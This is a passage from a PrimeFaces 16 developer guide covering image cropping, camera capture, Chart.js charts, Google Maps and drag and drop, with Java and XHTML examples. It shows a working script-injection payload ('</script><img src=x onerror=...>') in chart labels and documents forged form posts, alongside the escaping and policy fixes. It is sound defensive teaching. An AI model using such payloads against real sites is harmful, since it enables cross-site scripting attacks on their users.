stream="false") supports@ViewScopedbeans and method expressions with arguments, but inflates the page by a third and the browser cannot cache it separately. Use it for a handful of small images, never inside a longui:repeat(the PrimeFaces documentation says the same). -
Cache with care. A cover that changes under the same expression is served from the browser cache if
cache="true".
Cropping Images: p:imageCropper
p:imageCropper shows an image, lets the user draw a rectangle on it and puts a new, cropped image into the value, an
org.primefaces.model.CroppedImage. Since 8.0 the browser part is Cropper.js (it was JCrop). Its important attributes:
| Attribute | Meaning |
|---|---|
|
|
|
What to crop: a context-relative path ( |
|
Shape and size of the crop box. |
|
Cropper.js options: how the box is confined to the canvas, the maximum preview size, guide lines, redraw on resize and zoom behaviour. |
|
Largest image PrimeFaces will read to crop, in bytes. Default 10,485,760 (10 MB). |
|
Whether the browser may cache the image request. Default |
Source: PrimeFaces 16: ImageCropper
The Bookshelf editor crops a stored cover to a portrait shape and saves the result as a new cover. The view takes the id from a view parameter (see View Parameters and View Actions):
<f:metadata>
<f:viewParam name="id" value="#{coverCropBean.coverId}"/>
</f:metadata>
<h:form id="crop">
<p:growl id="msgs"/>
<p:imageCropper id="c" value="#{coverCropBean.cropped}" image="#{coverImageBean.cover}"
aspectRatio="0.75" minSize="60,80" initialCoords="10,10,90,120" alt="Cover to crop">
<f:param name="id" value="#{coverCropBean.coverId}"/>
</p:imageCropper>
<p:commandButton id="save" value="Save crop" action="#{coverCropBean.save}" update="msgs">
<f:param name="id" value="#{coverCropBean.coverId}"/>
</p:commandButton>
</h:form>
Source: PrimeFaces 16: ImageCropper
package org.example.bookshelf.web;
import jakarta.faces.application.FacesMessage;
import jakarta.faces.context.FacesContext;
import jakarta.faces.view.ViewScoped;
import jakarta.inject.Inject;
import jakarta.inject.Named;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.Serializable;
import org.example.bookshelf.service.CoverStore;
import org.example.bookshelf.service.ImageSignature;
import org.primefaces.model.CroppedImage;
/** Crops a stored cover; the id comes from a view parameter and is checked by CoverStore.find. */
@Named
@ViewScoped
public class CoverCropBean implements Serializable {
@Inject
private CoverStore store;
@Inject
private FacesContext facesContext;
private String coverId;
private CroppedImage cropped;
private String savedId;
public void save() throws IOException {
if (cropped == null || cropped.getBytes() == null || cropped.getBytes().length == 0) {
facesContext.addMessage(null, new FacesMessage(FacesMessage.SEVERITY_WARN, "Select an area first", null));
return;
}
byte[] bytes = cropped.getBytes();
String ext = ImageSignature.extensionOf(bytes).orElseThrow();
savedId = store.save(new ByteArrayInputStream(bytes), ext);
facesContext.addMessage(null, new FacesMessage("Saved " + cropped.getWidth() + "x" + cropped.getHeight()
+ " at (" + cropped.getLeft() + "," + cropped.getTop() + ") as " + savedId));
}
public String getCoverId() { return coverId; }
public void setCoverId(String coverId) { this.coverId = coverId; }
public CroppedImage getCropped() { return cropped; }
public void setCropped(CroppedImage cropped) { this.cropped = cropped; }
public String getSavedId() { return savedId; }
}
Reading the renderer’s source and running the example showed how the crop really happens, and it has two consequences:
-
The server does the cropping, in the postback. The browser only sends the coordinates (a hidden field such as
2.53_2.07_60_80). While converting the submitted value,ImageCropperRendererevaluates theimageexpression again, reads the original withImageIO, cuts out the rectangle and builds theCroppedImage. In the run the saved crop was a valid PNG of 60 x 80 pixels (the file header says so) for the box the widget reported,2.53_2.07_60_80. Theimageexpression therefore has to work in two requests: the streaming request that shows the image and the postback that crops it. That is why the example repeats the samef:paramon the command button: without it the postback had noidparameter,CoverImageBeanreturned the emptyDUMMYcontent and the conversion failed with aNullPointerException. -
Set
nameandcontentTypeon theStreamedContent. The cropper writes the result in the format taken from the content type, andgetOriginalFilename()comes from the name.CoverImageBeansets both.
Check what you save. A CroppedImage is bytes that your code produced from an image that your code supplied, so it is far
safer than an upload, but the example still checks the signature with ImageSignature and stores it under a generated id.
The coordinates are client data too. The hidden field crop:c_coords was posted by hand with these values (x_y_w_h, in
pixels of the original 300 x 200 image), and the outcome (run on Mojarra) was:
250_150_500_500 was clamped to the image and gave a 50 x 50 crop; 290_190_50_50 gave 10 x 10; 5_5_0_10 (a width of
zero) gave no CroppedImage at all, so the action must handle null as save() does; -5_-5_10_10 was not clamped and
ended in a java.awt.image.RasterFormatException; and a_b_c_d ended in a NumberFormatException. Those two exceptions
reach the application’s ExceptionHandler as ordinary unexpected exceptions, so make sure the Ajax error page or handler
does not echo exception names or messages to the user (see Exceptions in Ajax requests).
Server-side request forgery. When image resolves to an http or https URL, the server opens a connection to fetch it. PrimeFaces 16
sets 5 and 10 second timeouts and requires an image/* content type from the remote host, but it will connect to whichever
address it is given, including internal network addresses. Never bind an image expression to user input; if users may name an
image, map their choice to an allowlist of URLs or ids on the server. A local path is resolved against the web root and
checked for path traversal by PrimeFaces, but the same rule applies: a path built from user input is the application’s problem.
Taking Photos: p:photoCam
p:photoCam opens the user’s camera in the page, shows a live preview, and on request captures a still image that arrives
at a listener as a CaptureEvent. The capture itself is started from JavaScript. The attributes are listener, update,
process, width/height of the preview (default 320 x 240), photoWidth/photoHeight of the captured image (default 320 x 240),
format (jpeg or png), jpegQuality (0 to 100, default 90), device (a device id, or user/environment on phones),
autoStart (default true) and the callback onCameraError.
<h:form id="cam">
<p:growl id="msgs"/>
<p:photoCam id="pc" widgetVar="pc" listener="#{photoBean.onCapture}" update="msgs"
format="jpeg" jpegQuality="85" photoWidth="320" photoHeight="240"
onCameraError="window.camError = errorObj.name + ': ' + errorObj.message"/>
<p:commandButton id="take" type="button" value="Take photo" onclick="PF('pc').capture()"/>
</h:form>
Source: PrimeFaces 16: PhotoCam
package org.example.bookshelf.web;
import jakarta.enterprise.context.RequestScoped;
import jakarta.faces.application.FacesMessage;
import jakarta.faces.context.FacesContext;
import jakarta.inject.Inject;
import jakarta.inject.Named;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.util.logging.Logger;
import org.example.bookshelf.service.CoverStore;
import org.example.bookshelf.service.ImageSignature;
import org.primefaces.event.CaptureEvent;
/** Stores a photo taken with p:photoCam as a new cover. */
@Named
@RequestScoped
public class PhotoBean {
private static final Logger LOG = Logger.getLogger(PhotoBean.class.getName());
private static final int MAX_BYTES = 1_000_000;
@Inject
private CoverStore store;
@Inject
private FacesContext facesContext;
public void onCapture(CaptureEvent event) throws IOException {
byte[] data = event.getData();
LOG.info("captured " + data.length + " bytes, raw prefix=" + event.getRawData().substring(0, 30));
if (data.length > MAX_BYTES) {
facesContext.addMessage(null, new FacesMessage(FacesMessage.SEVERITY_ERROR, "Photo too large", null));
return;
}
String ext = ImageSignature.extensionOf(data).orElse(null);
if (ext == null) {
facesContext.addMessage(null, new FacesMessage(FacesMessage.SEVERITY_ERROR, "Not an image", null));
return;
}
String id = store.save(new ByteArrayInputStream(data), ext);
facesContext.addMessage(null, new FacesMessage("Saved photo " + id));
}
}
Source: PrimeFaces 16: PhotoCam
Headless Chrome with a fake camera (--use-fake-device-for-media-stream --use-fake-ui-for-media-stream) showed a 640-pixel-wide
video; PF('pc').capture() produced a request, the listener received 4,213 bytes in the JPEG case and 5,416 bytes in the PNG
case, and both were stored ("Saved photo …"). The same ran on Mojarra and MyFaces. Points to know:
-
HTTPS is required. Browsers expose the camera (
getUserMedia) only to secure contexts: HTTPS, orlocalhost. On a plainhttp://host other than localhost the camera never starts, andonCameraErrorreceives the error. Third-party browsers on iOS may not reach the camera; the PrimeFaces documentation names Safari as the working one. The Flash fallback was removed in 11.0.0. -
The bytes are an image that the browser made up.
CaptureEvent.getData()is decoded from a data URL sent by the client, so a hostile client can send anything.PhotoBeanlimits the size and checks the signature before it stores the data under a generated id, as for any upload. Thejakarta.xml.bind-apidependency of Optional libraries is required for the decoding. -
Ask for the user’s consent in the page. The browser asks for permission; the page should say why it needs the camera and offer
p:fileUploadas the alternative for people who cannot or will not use a camera.
Charts: p:chart
PrimeFaces 16 has one chart component, p:chart, a thin wrapper around Chart.js (version 4.5.1 is bundled in the 16.0.0 jar; the
browser reported it as Chart.version). The component does not know what a bar or a pie is: its value is the complete Chart.js
configuration (type, data, options) as a JSON string. Three ways to produce that string exist:
| Way | Use when |
|---|---|
A server-side Java model |
You build the chart in Java and want type-safe code. PrimeFaces documents the XDEV Chart.js Java Model
( |
Raw JSON in a bean |
You already have the Chart.js configuration, or you want a Chart.js feature the model does not know yet. |
The |
A static chart; the configuration is written in the view in Chart.js’s JavaScript object syntax, with no Java at all. |
Source: PrimeFaces 16: Charts and Chart.js documentation
The Bookshelf statistics view shows reviews per rating (bar chart, clickable), new reviews per month (line chart) and a static doughnut:
<h:form id="stats">
<p:growl id="msgs" showDetail="true"/>
<p:chart id="ratings" value="#{reviewChartBean.ratingsModel}" style="width:600px;height:300px" widgetVar="ratingsChart">
<p:ajax event="itemSelect" listener="#{reviewChartBean.itemSelect}" update="msgs"/>
</p:chart>
<p:chart id="monthly" value="#{reviewChartBean.monthlyModel}" style="width:600px;height:300px"/>
<p:chart id="facet" style="width:400px;height:200px">
<f:facet name="value">
{ type: 'doughnut', data: { labels: ['Fiction', 'Science'], datasets: [{ data: [60, 40] }] } }
</f:facet>
</p:chart>
</h:form>
Source: PrimeFaces 16: Charts
package org.example.bookshelf.web;
import jakarta.annotation.PostConstruct;
import jakarta.faces.application.FacesMessage;
import jakarta.faces.context.FacesContext;
import jakarta.faces.view.ViewScoped;
import jakarta.inject.Inject;
import jakarta.inject.Named;
import java.io.Serializable;
import java.util.List;
import org.primefaces.event.ItemSelectEvent;
import software.xdev.chartjs.model.charts.BarChart;
import software.xdev.chartjs.model.charts.LineChart;
import software.xdev.chartjs.model.color.RGBAColor;
import software.xdev.chartjs.model.data.BarData;
import software.xdev.chartjs.model.data.LineData;
import software.xdev.chartjs.model.dataset.BarDataset;
import software.xdev.chartjs.model.dataset.LineDataset;
import software.xdev.chartjs.model.options.BarOptions;
import software.xdev.chartjs.model.options.LineOptions;
import software.xdev.chartjs.model.options.Plugins;
import software.xdev.chartjs.model.options.Title;
/** Chart models for the Bookshelf statistics page: p:chart takes the model as a JSON string. */
@Named
@ViewScoped
public class ReviewChartBean implements Serializable {
@Inject
private FacesContext facesContext;
private String ratingsModel;
private String monthlyModel;
@PostConstruct
void init() {
List<Number> perRating = List.of(2, 3, 8, 21, 17);
ratingsModel = new BarChart()
.setData(new BarData()
.addDataset(new BarDataset()
.setLabel("Reviews")
.setData(perRating.toArray(new Number[0]))
.setBackgroundColor(new RGBAColor(54, 162, 235, 0.6)))
.setLabels("1 star", "2 stars", "3 stars", "4 stars", "5 stars"))
.setOptions(new BarOptions()
.setResponsive(true)
.setMaintainAspectRatio(false)
.setPlugins(new Plugins().setTitle(new Title().setDisplay(true).setText("Reviews per rating"))))
.toJson();
monthlyModel = new LineChart()
.setData(new LineData()
.addDataset(new LineDataset()
.setLabel("New reviews")
.setData(4, 9, 7, 12, 15, 11)
.setBorderColor(new RGBAColor(75, 192, 192))
.setTension(0.1f))
.setLabels("May", "Jun", "Jul", "Aug", "Sep", "Oct"))
.setOptions(new LineOptions().setResponsive(true).setMaintainAspectRatio(false))
.toJson();
}
public void itemSelect(ItemSelectEvent event) {
facesContext.addMessage(null, new FacesMessage(FacesMessage.SEVERITY_INFO, "Item selected",
"Item index " + event.getItemIndex() + ", dataset index " + event.getDataSetIndex()));
}
/** Hostile label from a user: shows how the JSON is embedded in the page. */
public String getHostileModel() {
return "{\"type\":\"bar\",\"data\":{\"labels\":[\"</script><img src=x onerror=window.pwned=1>\"],\"datasets\":[{\"data\":[1]}]}}";
}
/** The same hostile label, serialised by the XDEV model. */
public String getHostileXdev() {
return new BarChart().setData(new BarData().addDataset(new BarDataset().setData(1))
.setLabels("</script><img src=x onerror=window.pwned2=1>")).toJson();
}
/** Escapes every less-than sign as a JSON unicode escape: the page still carries valid JSON, but never a tag. */
static String scriptSafe(String json) {
return json.replace("<", "\\u003c");
}
public String getHostileSafe() {
return scriptSafe(getHostileXdev());
}
public String getRatingsModel() { return ratingsModel; }
public String getMonthlyModel() { return monthlyModel; }
}
Source: PrimeFaces 16: Charts and XDEV Chart.js Java Model
The attributes of p:chart are value, extender, style, styleClass, canvasStyle, canvasStyleClass, ariaLabel,
widgetVar, id and rendered. The behaviour event is itemSelect; its ItemSelectEvent has getItemIndex(),
getDataSetIndex(), getSeriesIndex() and getData(). Clicking the fourth bar of the example produced the growl
"Item selected: Item index 3, dataset index 0", on both Mojarra and MyFaces. The client-side widget has
exportAsImage() (returns an <img> with a data:image/png;base64,... source) and print(); exportAsImage() was run and returned
a PNG data URL. An extender is the name of a JavaScript function that receives the Chart.js configuration (this.cfg.config)
and may merge more options or plugins into it; it must be defined before the chart renders (the PrimeFaces documentation shows the
chartjs-plugin-datalabels plugin; an extender was not run).
Data in the JSON is data in a script
PrimeFaces writes the JSON string into the page inside an inline <script> element, as the argument of PrimeFaces.cw("Chart", ...).
It does not escape it for that context. A label that contains </script> therefore ends the script and what follows is parsed as
HTML. This was run with the label </script><img src=x onerror=window.pwned=1> once in a hand-written JSON string and once in a
BarChart serialised by toJson() (the Java model does not escape the less-than sign either); the onerror handler ran in
both cases, on Mojarra and on MyFaces (the general rules for escaping and cross-site scripting are on the security page). In the Bookshelf the typical source of such text is a book title or an author name used as a
label, which a user typed.
The defence has two parts, and the example class has the first:
-
Escape
<as\u003cin the string before it reaches the component (scriptSafeinReviewChartBean). The result is still valid JSON, so Chart.js receives the original text (</script><img ...>) as a label and draws it as text on the canvas. With that call the same hostile label ran no script. -
Use a Content Security Policy. With
primefaces.CSPset totrue(see Content Security Policy) the inline handler of the injected image was blocked by the browser andwindow.pwnedstayed undefined (run on Mojarra), because the page script carries a nonce and the injected markup does not. A policy limits the damage; it does not excuse unescaped data.
// 1. raw JSON from user text: the onerror handler runs
String raw = "{\"type\":\"bar\",\"data\":{\"labels\":[\"" + userText + "\"],\"datasets\":[{\"data\":[1]}]}}";
// 2. the same text through the Java model: still runs, toJson() leaves '<' alone
String modelled = new BarChart().setData(new BarData().addDataset(new BarDataset().setData(1))
.setLabels(userText)).toJson();
// 3. escaped before it reaches p:chart: no script
String safe = modelled.replace("<", "\\u003c");
The first line also shows the other mistake: concatenating text into JSON by hand breaks the document as soon as the text has a
quote. Build JSON with a model class or a JSON library, then apply scriptSafe.
The accessibility of a canvas is poor by nature. Set ariaLabel on the chart and put the numbers in a table or a list next to
it for people who cannot see the picture.
Where the chart model went
Charts changed more than any other PrimeFaces area:
-
10.0.0 introduced Chart.js models next to the jqPlot-based charts and deprecated the latter (Chart.js 2.9.4).
-
11.0.0 moved to Chart.js 3.5.0 with renamed Java setters (
setLineTensionbecamesetTension); 12.0.0 renamed more options (gridLinestogrid,scaleLabeltotitle). -
13.0.0 deleted the jqPlot-based
Chartcomponent. -
14.0.0 added the new
p:chartthat takes raw JSON or an XDEV model, and deprecated the per-type components (p:barChart,p:lineChart, …). -
15.0.0 deleted those components and their Java models.
Code from the PrimeFaces 4 and 5 era (a LineChartModel filled with ChartSeries objects, shown by a jqPlot-based component) does
not exist in 16. Port it to a Chart.js configuration: the data stay, the declaration changes.
Maps: p:gmap
p:gmap embeds a Google Maps map. It is the only map component in the 16.0.0 taglib (together with p:gmapInfoWindow), and it
needs a Google Maps JavaScript API key. The map is backed by an org.primefaces.model.map.MapModel (implementation
DefaultMapModel) holding overlays: Marker, Polyline, Polygon, Circle and Rectangle, each of which can carry a data object.
Positions are LatLng(lat, lng).
Two ways exist to load Google’s script. The classic one is a <script src="https://maps.googleapis.com/maps/api/js?key=..."> tag in the
page; the second is to give the component an apiKey (and optionally apiVersion, default weekly, and libraries), and the
widget loads the API itself with Google’s dynamic library import. If Google Maps is already loaded the attributes are ignored. The
key is not a secret of the server (browsers see it), but restrict it in Google’s console to your sites and APIs as Google’s
documentation recommends, and keep it out of the repository: the example reads it from a context parameter.
<h:form id="map">
<p:growl id="msgs"/>
<p:gmap id="g" center="41.3874, 2.1686" zoom="13" type="roadmap" style="width:600px;height:400px"
model="#{branchMapBean.model}" apiKey="#{initParam['bookshelf.mapsKey']}" widgetVar="branches">
<p:ajax event="overlaySelect" listener="#{branchMapBean.onOverlaySelect}"/>
<p:ajax event="markerDrag" listener="#{branchMapBean.onMarkerDrag}" update="msgs"/>
<p:gmapInfoWindow id="info">
<h:outputText value="#{branchMapBean.selected.name}"/>
<h:outputText value="#{branchMapBean.selected.address}"/>
</p:gmapInfoWindow>
</p:gmap>
</h:form>
Source: PrimeFaces 16: GMap
<context-param>
<param-name>bookshelf.mapsKey</param-name>
<param-value>YOUR_API_KEY</param-value>
</context-param>
package org.example.bookshelf.web;
import jakarta.annotation.PostConstruct;
import jakarta.faces.application.FacesMessage;
import jakarta.faces.context.FacesContext;
import jakarta.faces.view.ViewScoped;
import jakarta.inject.Inject;
import jakarta.inject.Named;
import java.io.Serializable;
import org.primefaces.event.map.MarkerDragEvent;
import org.primefaces.event.map.OverlaySelectEvent;
import org.primefaces.model.map.Circle;
import org.primefaces.model.map.DefaultMapModel;
import org.primefaces.model.map.LatLng;
import org.primefaces.model.map.MapModel;
import org.primefaces.model.map.Marker;
/** The library branches of the Bookshelf on a map. View scoped: each user gets a private, modifiable model. */
@Named
@ViewScoped
public class BranchMapBean implements Serializable {
public record Branch(String name, String address) implements Serializable { }
@Inject
private FacesContext facesContext;
private MapModel<Branch> model;
private Branch selected;
@PostConstruct
void init() {
model = new DefaultMapModel<>();
model.addOverlay(new Marker<>(new LatLng(41.3874, 2.1686), "Central branch",
new Branch("Central branch", "Plaça de Catalunya 1")));
model.addOverlay(new Marker<>(new LatLng(41.4036, 2.1744), "North branch",
new Branch("North branch", "Carrer de Mallorca 401")));
Circle<Branch> catchment = new Circle<>(new LatLng(41.3874, 2.1686), 800);
catchment.setStrokeColor("#1565c0");
catchment.setFillColor("#1565c0");
catchment.setFillOpacity(0.15);
model.addOverlay(catchment);
}
public void onOverlaySelect(OverlaySelectEvent<Branch> event) {
if (event.getOverlay() instanceof Marker<Branch> marker) {
selected = marker.getData();
}
}
public void onMarkerDrag(MarkerDragEvent<Branch> event) {
facesContext.addMessage(null, new FacesMessage("Moved to " + event.getMarker().getLatlng()));
}
public MapModel<Branch> getModel() { return model; }
public Branch getSelected() { return selected; }
}
The attributes of the component include center (lat, lng), zoom (default 8), type (roadmap, satellite, hybrid,
terrain), model, fitBounds, streetView, disableDefaultUI, mapTypeControl, navigationControl, scrollWheel,
draggable, disableDoubleClickZoom, onPointClick, apiKey, apiVersion and libraries. p:ajax behaviours are available for
overlaySelect, overlayDblSelect, stateChange, pointSelect, pointDblSelect, markerDrag, geocode and reverseGeocode; their events
are OverlaySelectEvent (getOverlay()), StateChangeEvent (getBounds(), getZoomLevel(), getCenter()), PointSelectEvent
(getLatLng()), MarkerDragEvent (getMarker()), GeocodeEvent (getQuery(), getResults()) and ReverseGeocodeEvent. The widget has getMap()
(the google.maps.Map) and geocode(address). Marker icons are Object since 12.0.0 so that a Symbol can be used, and models and events
are generic (MapModel<Branch>, OverlaySelectEvent<Branch>).
What was run: the page rendered, PrimeFaces wrote the markers, the circle and the info window into the widget configuration, and an
overlaySelect request posted by hand returned the updated p:gmapInfoWindow ("Central branch" and its address). The Google
map itself was not run, because that needs a real API key and Google’s servers; the widget configuration is JavaScript that calls
google.maps.* constructors, so test the visual result in a browser with your own key.
Server-side points:
-
The model must be per user. A
markerDragrequest moves the marker in the model (marker.setLatlng(...)) from the coordinates the browser posted. A model held in an application scoped bean would let one visitor move the markers for everyone. The example’s bean is view scoped and builds its model in@PostConstruct. -
The overlay id is client data. A request with an id that is not in the model (a posted
nope) still succeeded, on both implementations, and the info window kept showing the previously selected branch, because the listener tests the overlay’s type before it uses it (onOverlaySelectusesinstanceof Marker, which is false fornull). -
Titles and labels are escaped. A marker title made of a closing script tag, an image tag with an
onerrorhandler, a double quote, a single quote, a backtick and a template placeholder was written into the page as shown below and ran nothing, so unlikep:chartthe map’s JavaScript literals are safe. Output components insidep:gmapInfoWindowescape as usual (h:outputTextdoes); do not turnescapeoff for text from users. -
Terms and privacy. The map sends the visitor’s browser to Google. That is a decision about privacy notices and consent, not about code; check Google’s terms and your own obligations before you use it on a public site.
title:"<\/script><img src=x onerror=window.pwned4=1>\x22\x27`${1}"
Source: PrimeFaces 16: GMap
Drag and Drop: p:draggable and p:droppable
p:draggable makes a component draggable and p:droppable makes one a drop target. Their options (helper, revert, handle, axis,
grid, containment, snap, stack, opacity, scope, accept, tolerance, greedy, hoverStyleClass and so on) have the same
names as the options of jQuery UI’s draggable and droppable (see the jQuery UI API pages). The pair is connected by scope: a draggable is
accepted by a droppable with the same scope (default default) and, if accept is set, a matching selector.
Frequently used attributes:
| Attribute | Effect |
|---|---|
|
The component to make draggable/droppable; omitted means the parent component. |
|
Where the drag starts, the allowed axis ( |
|
|
|
Which draggables a droppable takes, and how much overlap counts ( |
|
Style while a matching draggable is dragged or hovering, and a client-side callback with |
|
The id of a data component ( |
Source: PrimeFaces 16: Drag&Drop and jQuery UI: Draggable
The Bookshelf lets a reader drag books from the catalogue onto "My shelf". The droppable is the shelf, its datasource is the
catalogue grid, and the Ajax drop behaviour receives a DragDropEvent whose getData() is the dragged row:
<h:form id="shelf">
<p:growl id="msgs"/>
<p:fieldset legend="Catalogue">
<p:dataGrid id="catalogue" var="book" value="#{shelfDragBean.catalogue}" columns="2" emptyMessage="Nothing left">
<p:panel id="card" header="#{book.title}">
<h:outputText value="#{book.author} (#{book.year})"/>
<p:commandButton id="add" value="Add to shelf" process="@this" update="@form"
action="#{shelfDragBean.add(book)}"/>
</p:panel>
<p:draggable for="card" revert="true" handle=".ui-panel-titlebar" stack=".ui-panel" scope="books"/>
</p:dataGrid>
</p:fieldset>
<p:fieldset id="mine" legend="My shelf">
<p:outputPanel id="dropArea">
<h:outputText value="Drop books here" rendered="#{empty shelfDragBean.shelf}"/>
<p:dataTable id="shelfTable" var="b" value="#{shelfDragBean.shelf}" rendered="#{not empty shelfDragBean.shelf}">
<p:column headerText="Title"><h:outputText value="#{b.title}"/></p:column>
<p:column headerText="Year"><h:outputText value="#{b.year}"/></p:column>
<p:column headerText="Back">
<p:commandButton value="Remove" process="@this" update="@form" action="#{shelfDragBean.putBack(b)}"/>
</p:column>
</p:dataTable>
</p:outputPanel>
</p:fieldset>
<p:droppable for="mine" datasource="catalogue" scope="books" tolerance="pointer" activeStyleClass="ui-state-highlight">
<p:ajax listener="#{shelfDragBean.onDrop}" update="dropArea catalogue msgs"/>
</p:droppable>
</h:form>
Source: PrimeFaces 16: Drag&Drop
package org.example.bookshelf.web;
import jakarta.annotation.PostConstruct;
import jakarta.faces.view.ViewScoped;
import jakarta.inject.Named;
import java.io.Serializable;
import java.util.ArrayList;
import java.util.List;
import org.example.bookshelf.model.Book;
import org.primefaces.event.DragDropEvent;
/** Drag books from the catalogue onto "My shelf". View scoped: the lists belong to this page instance. */
@Named
@ViewScoped
public class ShelfDragBean implements Serializable {
private List<Book> catalogue;
private List<Book> shelf;
@PostConstruct
void init() {
catalogue = new ArrayList<>(List.of(
new Book(1, "Dune", "Frank Herbert", 1965),
new Book(2, "Solaris", "Stanislaw Lem", 1961),
new Book(3, "Neuromancer", "William Gibson", 1984),
new Book(4, "Hyperion", "Dan Simmons", 1989)));
shelf = new ArrayList<>();
}
/** The dragged row arrives as the data of the datasource component, not as text from the browser. */
public void onDrop(DragDropEvent<Book> event) {
Book book = event.getData();
if (book != null && catalogue.remove(book)) {
shelf.add(book);
}
}
/** The keyboard-friendly route to the same result. */
public void add(Book book) {
if (catalogue.remove(book)) {
shelf.add(book);
}
}
public void putBack(Book book) {
if (shelf.remove(book)) {
catalogue.add(book);
}
}
public List<Book> getCatalogue() { return catalogue; }
public List<Book> getShelf() { return shelf; }
}
A real mouse drag (headless Chrome pressing on the title bar of the "Dune" card, moving and releasing over the shelf) moved the book: the shelf table showed "Dune 1965" and the catalogue no longer listed it. Mojarra and MyFaces gave the same result.
How it works, and what to check on the server:
-
Lifecycle position. The drop is an ordinary Ajax behaviour request.
Droppableturns it into aDragDropEventthat is broadcast in Invoke Application (see Invoke Application);process,updateandp:ajaxwork as on any other component. -
getData()is a row of the data component, chosen by the client’s id. The droppable reads the row index from the dragged component’s posted client id (shelf:catalogue:1:cardmeans row 1), sets that row on the data component and reads its row data. Posting forged ids gave: index 99,NoRowAvailableException(Mojarra) orIllegalArgumentException(MyFaces); index -1, the first row; an id without an index,ArrayIndexOutOfBoundsException; a non-numeric index,NumberFormatException. Nothing outside the list can be reached, but the user can name any row of it, so the listener must (asonDropdoes) work on the data and re-check whether the current user may do the operation; it must not trustgetDragId()orgetDropId()for anything else. -
State lives in the bean. The lists are in a view scoped bean (see Scopes) so each browser tab has its own shelf. A session scoped bean would share one shelf between tabs.
-
Give pointer-free users another route. Dragging is a mouse and touch gesture. The example keeps an "Add to shelf" button on every card and a "Remove" button in the table, which call the same bean methods. Keyboard-only access to the drag was not tested.
-
Other drag and drop in PrimeFaces.
p:fileUploadaccepts dropped files (dragDrop,dropZone; see The user interface); data tables can reorder rows and columns by dragging;p:pickList,p:orderList, trees (TreeDragDropEvent),p:dashboard(p:draggablehas adashboardattribute) and the timeline and organigram components have their own events. They are covered on the data components page of this section and in the PrimeFaces documentation.
Mojarra and MyFaces
Everything on this page was run on both Mojarra 4.1.17 and MyFaces Core 4.1.4 unless it says otherwise, and the results matched: the upload messages and the container’s 413, the simple and advanced modes, the headers of the five download buttons, the streamed images, the crop result, the camera capture, the chart click, the chart script injection and its fix, the map’s info window update and the drag and drop. The differences that showed up are small:
-
Exceptions from forged drop ids. An index past the end of the list raised
jakarta.faces.model.NoRowAvailableExceptionon Mojarra andjava.lang.IllegalArgumentExceptionon MyFaces. Both are unexpected exceptions for theExceptionHandler; handle them the same way. -
Lifecycle detail that matters for tests. When a test posts a command by hand, MyFaces expects the form’s hidden
<formId>_SUBMITfield and Mojarra does not (see the file upload page). A browser sends it, and the scripted checks of this page used a browser wherever a button was clicked. -
The library is the same. The PrimeFaces 16 jar is one artifact for both implementations; the component, renderer and widget code is identical, which is why the behaviour above matches. PrimeFaces' own CSP support (the
primefaces.CSPparameter) also works on both, whereas Mojarra’s built-in nonce option has no MyFaces counterpart (see Content Security Policy).
What Changed
The migration guides that PrimeFaces keeps for each release give the history of the components of this page. Version numbers are those of the guide in which the change is listed:
| PrimeFaces | Change |
|---|---|
7.0 |
|
8.0 |
|
10.0 |
Chart.js models arrive next to the jqPlot charts, which are deprecated. |
11.0 |
Chart.js 2.9.4 replaced by 3.5.0; the Flash fallbacks of |
12.0 |
Chart option renames ( |
13.0 |
|
14.0 |
New |
15.0 |
The legacy chart components and Java models deleted. Apache Commons FileUpload support deleted (native Servlet uploads only). |
16.0 |
Faces 4.0 is the baseline (JSF and Java EE |
On the Faces side: h:inputFile appeared in JSF 2.2, and Faces 4.0 added its multiple and accept attributes and skipped empty files
(see the file upload page); p:validateFile supports the standard component, so a library-free form can still use PrimeFaces' rules.
Faces 4.0 and 4.1 differ in nothing that this page touches.
Where the Books Are Outdated
PrimeFaces Cookbook, Second Edition by Mert Çalışkan and Oleg Varaksin (Packt, May 2015) was written for PrimeFaces 5.1 and 5.2 on JSF 2.2. For the topics of this page the book’s chapters cover file upload and download, image cropping and photo capture, drag and drop, charts and maps. The ideas still hold (a widget that uploads in the background, a component that crops, a drop target), but most of the code needs to change:
-
Uploads. In PrimeFaces 5 the listener attribute was
fileUploadListener(renamedlistenerin 8.0), the limits were attributes ofp:fileUploaditself (sizeLimit,allowTypes,fileLimit; they becamep:validateFilein 14.0.0 and were removed in 15.0.0), and the uploader could run on Apache Commons FileUpload (deprecated in 14.0.0 and deleted in 15.0.0, leaving the Servlet multipart API). The model methods were renamed (getContentstogetContent,getInputstreamtogetInputStream). The checks that matter today (content-type detection, a limit on chunked uploads, virus scanning, safe file names) were not part of that era’s recipes. -
Downloads and dynamic images.
new DefaultStreamedContent(stream, type, name)andByteArrayContentwere replaced byDefaultStreamedContent.builder()in 8.0, and Ajax downloads work withoutajax="false"since 10.0. Streaming rules (request scoped beans,f:param) are described in How the Ajax download and the images are fetched. -
Image cropper and camera. The cropper’s JavaScript library changed (JCrop to Cropper.js in 8.0) and the Flash camera fallback was removed in 11.0.0; a camera now needs HTTPS.
-
Charts. The charts of that edition are the jqPlot-based ones. They were deprecated in 10.0 in favour of Chart.js models, the jqPlot component was deleted in 13.0.0 and the Chart.js component family of 10.0 to 14.0 in 15.0.0. The 16 component takes Chart.js JSON (Charts: p:chart).
-
Maps. The concepts (markers, polylines, info windows, geocoding) are the same in 16. What differs is how Google’s script is loaded (a key is required, and the 16 documentation describes an optional
apiKeyattribute that loads it for you), the generic model types (12.0.0), and Google’s own terms for the Maps API. -
Drag and drop.
p:draggableandp:droppablehave the options described above;DragDropEventis generic (DragDropEvent<T>) in 16.
Other books of the list touch this page less. JSF 2.0 Cookbook by Anghel Leonard (Packt, 2010) has upload and download recipes built on Tomahawk and RichFaces; the file upload page explains why they are obsolete. Learning PrimeFaces Extensions Development by Sudheer Jonna (Packt, 2014) covers image components of PrimeFaces Extensions, which belong to the PrimeFaces Extensions page of this section. The statements about the books rest on the section’s concept list for each book and on the PrimeFaces migration guides above, not on a page-by-page reading.
Common Mistakes
-
Trusting the file chooser.
accept,allowTypesand the declared content type are all client data.allowTypesis satisfied by a matching declared type. CombinecontentType="true", a real detector library and your own signature check. -
contentType="true"withoutaccept. The content check is skipped. -
No detector library. The JDK default may decide from the extension and accept a text file named
x.png. -
Chunked uploads without
sizeLimit. The container’s limit applies per chunk, not to the merged file. -
UploadedFile.write(dir)or the submitted name as a path. PrimeFaces rejects../and/, but the client still picks the file name; generate it. -
A view scoped bean behind
p:fileUpload multiple,p:fileDownloador a streamingp:graphicImage. The requests are parallel or separate; use request scope. -
An expression with arguments in streaming mode.
